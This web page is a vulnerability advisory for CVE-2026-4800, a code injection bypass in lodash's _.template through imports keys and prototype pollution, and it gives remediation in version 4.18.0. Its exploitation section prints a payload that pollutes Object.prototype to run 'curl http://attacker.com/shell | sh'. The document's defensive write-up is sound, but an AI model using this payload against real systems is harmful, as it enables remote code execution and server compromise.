CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-4800
8.10.07%

CVE-2026-4800: Code Injection and Remote Code Execution in lodash _.template

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 2, 2026·6 min read·3 visits

PoC Available

Executive Summary (TL;DR)

A bypass in lodash's _.template sanitization logic permits remote code execution via direct input or prototype pollution. Attackers can leverage ES6 default parameter syntax within unsanitized imports keys to execute arbitrary code when the template function is compiled.

CVE-2026-4800 is a high-severity code injection vulnerability (CWE-94) in the lodash library's _.template function. Arising from an incomplete patch for CVE-2021-23337, this flaw allows unauthenticated attackers to execute arbitrary JavaScript upon template compilation via malicious object keys.

Vulnerability Overview

The lodash library provides the _.template utility function for generating compiled template functions. This function accepts a template string and an options object, returning a specialized executable function. The options object configuration includes an imports property, which defines global variables made available to the template's execution context.

CVE-2026-4800 documents a bypass of a previous security fix (CVE-2021-23337) within this compilation logic. The underlying issue is classified as Improper Control of Generation of Code ('Code Injection') under CWE-94. The sanitization logic fails to validate the key names supplied within the imports object before appending them to a dynamically constructed function signature.

This vulnerability fundamentally compromises the integrity of the application relying on lodash for template compilation. If user-controlled data influences the imports object keys, an attacker achieves unauthenticated remote code execution. The impact applies identically to server-side Node.js environments and client-side browser contexts.

Root Cause Analysis

The _.template compiler generates JavaScript dynamically. It parses the template body and constructs a signature using the Function() constructor. The parameters of this constructed function are derived from strings: the variable option and the properties of the imports object.

In the patch for CVE-2021-23337, developers mitigated code injection by validating the variable option against the regular expression reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/. This prevented attackers from escaping the variable name and injecting code. However, the exact same vector exists within the keys of the imports object, which were omitted from this validation logic.

Modern JavaScript permits default parameter assignments within function signatures. An attacker can construct an imports object key containing an ES6 default parameter syntax, such as x=require('child_process').execSync(...). When the lodash compilation logic joins these keys to build the Function() arguments, it places the attacker's expression directly into the signature.

The vulnerability is exacerbated by lodash's object merging strategy. The _.template logic uses the assignInWith function to merge default options with provided options. Because assignInWith traverses inherited properties using a for..in loop, the imports keys can be sourced indirectly via Object Prototype Pollution. If an attacker pollutes Object.prototype.imports, the compilation logic processes those polluted keys without requiring direct application input.

Code Analysis

An analysis of the vulnerable _.template implementation reveals how the unvalidated keys reach the evaluation sink. The options parsing phase extracts keys from the imports object to establish the execution context.

// Vulnerable logic pattern (simplified)
var importsKeys = keys(imports);
// ... 
// The imports keys are passed into the Function constructor
var result = Function(importsKeys.join(','), source);

In the fixed version (lodash 4.18.0), the maintainers corrected this oversight. The patch expands the application of reForbiddenIdentifierChars to iterate over every key within the imports object. If any key contains a forbidden character (such as the = required for the ES6 default parameter attack), the execution is aborted or the key is neutralized.

Furthermore, the patch alters the underlying object merging logic. The use of assignInWith is replaced with assignWith, and explicit hasOwnProperty checks are introduced. This ensures that properties inherited from the Object.prototype chain are discarded during the preparation of the imports object.

These combined changes comprehensively eliminate both the direct injection vector and the indirect prototype pollution vector. The function signature construction is now strictly limited to standard JavaScript identifiers, neutralizing the primary compilation sink.

Exploitation Methodology

Exploitation relies on manipulating the function signature constructed during template compilation. The direct vector requires the target application to explicitly pass untrusted, user-controlled objects into the imports parameter of _.template. The attacker structures the JSON payload to include a key name formatted as an ES6 default parameter.

The indirect exploitation methodology relies on a prerequisite Object Prototype Pollution vulnerability. The attacker first sends a payload to pollute Object.prototype.imports. They inject a property key containing the malicious default parameter expression, pointing to an arbitrary value (often undefined).

// Exploitation via Prototype Pollution
Object.prototype.imports = {
  'x=process.getBuiltinModule("child_process").execSync("curl http://attacker.com/shell | sh")': undefined
};
 
// Triggering execution
_.template('', {});

When the application subsequently calls _.template, even with empty parameters, the internal assignInWith function merges the polluted prototype property into the compilation options. The Function() constructor parses the signature string, compiling the default parameter. Because default parameters are evaluated immediately during definition or instantiation, the payload executes synchronously before the template rendering even begins.

Impact Assessment

The CVSS v3.1 vector assigns CVE-2026-4800 a score of 8.1 (High). The high severity rating reflects the potential for unauthenticated Remote Code Execution. However, the Attack Complexity is rated High (AC:H) because exploitation typically requires specific application configurations or chaining with a secondary vulnerability (prototype pollution).

If successfully exploited on a Node.js server, the attacker executes arbitrary code within the context of the Node.js process. This enables full system compromise, data exfiltration, lateral movement, and the bypassing of application-layer access controls. If exploited in a client-side context, the impact mirrors Cross-Site Scripting (XSS), granting control over the user's session.

The EPSS score is 0.00068 (21st percentile). Currently, active exploitation in the wild is not confirmed. However, the widespread deployment of lodash across modern web architectures makes this an attractive target. Automated exploitation frameworks frequently include prototype pollution gadgets that align perfectly with this compilation sink.

Remediation and Mitigation Guidance

The definitive remediation for CVE-2026-4800 is upgrading lodash to version 4.18.0 or later. This release contains the complete patch addressing the sanitization oversight and the prototype pollution exposure mechanism. Development teams must ensure that transitively dependent packages resolve to the patched version of lodash.

In environments where an immediate upgrade is impossible, engineers must implement compensating controls. Applications must sanitize any dynamic keys passed into the _.template options object. The imports object must be defined strictly with static, developer-controlled identifiers. User input should never dictate the structure of the imports object.

To mitigate the prototype pollution vector generically, Node.js applications should apply Object.freeze(Object.prototype) at application startup. This defensive programming practice prevents attackers from mutating the base prototype, severing the exploit chain before the polluted keys can reach the vulnerable lodash sink.

Official Patches

GitHub AdvisoryOfficial GitHub Security Advisory for lodash
OpenJS FoundationOpenJS Foundation security advisory documentation

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.07%
Top 79% most exploited

Affected Systems

lodash utility libraryApplications utilizing lodash _.template() functionalityNode.js server environmentsClient-side browser applications bundling lodash

Affected Versions Detail

Product
Affected Versions
Fixed Version
lodash
OpenJS Foundation
>= 4.0.0, < 4.18.04.18.0
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork
CVSS v3.18.1
EPSS Score0.00068
ImpactRemote Code Execution
Exploit StatusPoC
CISA KEVNo

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

GitHub (threalwinky)Proof of Concept demonstrating remote code execution via prototype pollution and lodash compilation.

References & Sources

  • [1]NVD Record for CVE-2026-4800
  • [2]lodash GitHub Security Advisory
  • [3]CVE-2026-4800 PoC Repository
Related Vulnerabilities
CVE-2021-23337

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.